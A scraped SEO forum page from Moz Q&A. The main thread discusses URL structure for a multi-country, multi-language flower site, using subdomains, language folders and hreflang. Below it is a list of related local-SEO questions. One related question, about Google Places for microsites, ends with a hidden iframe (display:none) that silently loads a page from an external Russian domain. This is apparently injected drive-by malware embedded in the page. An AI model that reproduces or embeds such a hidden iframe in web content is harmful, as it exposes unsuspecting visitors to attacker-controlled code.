Multi-Country Multi-Language content website
-
Hi Community! I'm starting a website that is going to have content from various countries and in several languages. What is the best URL structure in this case?
I was thinking of doing something like:
english name of the plant, content in english, content for USA:
www.flowerpedia.com/flowers/red-rosesspanish name of the plant, content in spanish, content for MX:
mx.flowerpedia.com/es/rosas/rosas-rojasenglish name of the plant, content in english, content for MX:
mx.flowerpedia.com/roses/red-roses
this content is not the same as flowerpedia/flowers/red-rosesContent for Mexico would not exist in languages other than english and spanish. So for example:
mx.flowerpedia.com/jp/flowers/red-roses would not exist and it would redirect
to the english version:
mx.flowerpedia.com/flowers/red-rosesWhat would be the best URL structure in this case?
-
That's different, because arabic is not so globally known or spoken, and there's lot of people in UAE speaking only English, so it would make sense having an English version there.
-
Ganluca if English in Mexico is an overkill and bloats the structure, what then with the mix of english, arabic and United Arab Emirates?
-
I think that under the main root of the mx. subdomain the main language should be the Spanish one, not English. Hence, mx.flowerpedia.com/rosas/rosas-rojas and mx-flowerpedia.com/en/roses/red-roses
The reason is simple: Spanish is the main language in Mexico, and English is just a language a percentage of the Mexican population knows on a scholar level.
This leads to a fundamental question: are you really sure is there a search market for an English version in Mexico? From my experience, not at all or, at least, not to justify creating an entire English site for the MX. subdomain. Personally, offering an English version in the Mexican subdomain is useless and just causing your site to have a bloated structure, which is going to waste crawl budget and dilute PageRank.
-
Sound like you want a "Flowerpedia Mexico" and a "Flowerpedia USA" (with different content on each) website that you want to offer in both languages (MX in Eng/Spa & USA in Eng/Spa).
If that's correct, what you have seems fine, as long as you are consistent throughout. Just be sure to set the language + country in your hreflang markup for each.
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Getting the Proper CCTLDs & Subdomains to Rank in the Proper Countries
We seem to be having a really difficult time getting Google to do what we want in regards to getting proper domains indexed in the proper countries. In regards to English language, we tend to see a tremendous amount of crossover between .com, .in, and .co.uk. And yes international targeting is put in place. For example, both our .com and co.uk websites are in english and when someone enters a search query for one of our particular products, the .com website shows up to users in the UK. The countries with the hardest time are as follows and typically find them competing primarily with .com, but others can interlope as well. **All primarily in English: ** Canada UK India Australia Any ideas on how we can get this aligned correctly to where we can get the proper CCTLD to show up in the correct country instead of the .com?
Local Website Optimization | | GregLB0 -
Welsh Language Keyword Research
Helping a friend with some keyword research, their business is based in Wales. I am not a Welsh speaker, whats the best way to do Keyword Research?
Local Website Optimization | | GrouchyKids0 -
Even after doing every possible thing required for SEO my client's website is not coming on top.can you tell me where i am lacking?
_ Hi team_ I have been working on a website called signboards.co.in since 4 months.it was not in top 100 but now below 50 for 2-3 keywords.even after submitting in many directories after competitor analysis moz shows only one external link in its link metrics.apart from this every possible thing required for SEO is done in a proper way,but still it is not giving results.can you help me out?all my other clients work is going good except this one.can you please let me know what is going wrong with my project?As the project submission date is near i need your help as soon as possible. Thanks Najia jehan
Local Website Optimization | | Najia-ali0 -
How does duplicate content work when creating location specific pages?
In a bid to improve the visibility of my site on the Google SERP's, I am creating landing pages that were initially going to be used in some online advertising. I then thought it might be a good idea to improve the content on the pages so that they would perform better in localised searches. So I have a landing page designed specifically to promote what my business can do, and funnel the user in to requesting a quote from us. The main keyword phrase I am using is "website design london", and I will be creating a few more such as "website design birmingham", "website design leeds". The only thing that I've changed at the moment across all these pages is the location name, I haven't touched any of the USP's or the testimonial that I use. However, in both cases "website design XXX" doesn't show up in any of the USP's or testimonial. So my question is that when I have these pages built, and they're indexed, will I be penalised for this tactic?
Local Website Optimization | | mickburkesnr0 -
Need Help: Trouble With Website and Analytics
Hey all, I have a client who I have been having the WORST time getting traffic and ranked for relevant keywords. I've tried so many things and have yet to see much progress after about 9 months. Site is mgmcdallas.com. I realized something REALLYY weird with this site a couple weeks ago. The business has a Dallas, TX address and really only services the Dallas/Fort Worth metro area. They recently started getting some of referral traffic from yelp.com/biz_redir. Weirdly, they've also been getting more sales calls and more salespeople filling out their contact form. Take January for example, they had 164 sessions and 119 of those were from this yelp referral. They DON'T advertise with Yelp, or get traffic from Yelp anywhere in Texas. You can see from below screenshot that they are all coming from California. analytics I've had our <acronym title="Search Engine Optimization">SEO</acronym> and developer look into and we can't figure out what's happening. Any thoughts? iubnZdu
Local Website Optimization | | BWrightTLM0 -
Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
Hi All, I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places . I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business I only have one google account so I guess this would be done under the same google account ? thanks Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
Local Website Optimization | | PeteC120 -
UK website to be duplicated onto 2 ccTLD's - is this duplicate content?
Hi We have a client who wishes to have a site created and duplicated onto 3 servers hosted in three different countries. United Kingdom, Australia and USA. All of which will ofcourse be in the English language. A long story short, the website will provide the user 3 options on the homepage asking them which "country site" they wish to view. (I know I can detect the user IP and autoredirect but this is not what they want) Once they choose an option it will direct the user to the appropriate ccTLD. Now the client wants the same information to appear on all 3 sites with some slight variations in products available and English/US spelling difference but for the most part, the sites will look the same with the same content on each page. So my question is, will these 3 sites been seen as duplicates of each other even though they are hosted in different countries and are on ccTLD's? Are there any considerations I should pass onto the client with this approach? Many thanks for reading.
Local Website Optimization | | yousayjump
Kris0 -
Canonical for 80-90% duplicate content help
Hi . I seem to spend more time asking questions atm. I have a site I have revamped www.themorrisagency.co.uk I am working through sorting out the 80-90% duplicated content that just replaces a spattering of geographical and band styles eg: http://www.themorrisagency.co.uk/band-hire/greater-manchester/ 'manchester' being changed to : http://www.themorrisagency.co.uk/band-hire/oxfordshire/ etc So I am going through this slow but essential process atm. I have a main http://www.themorrisagency.co.uk/band-hire/ page My question is: Would it be sensible to (using Yoast SEO plug in) use a canonical redirect as a temp solution from these dup pages to http://www.themorrisagency.co.uk/band-hire/ Rather than remove them What are your thoughts as I am aware that the damage using a rel= could make it worse. Thanks as always Daniel
Local Website Optimization | | Agentmorris0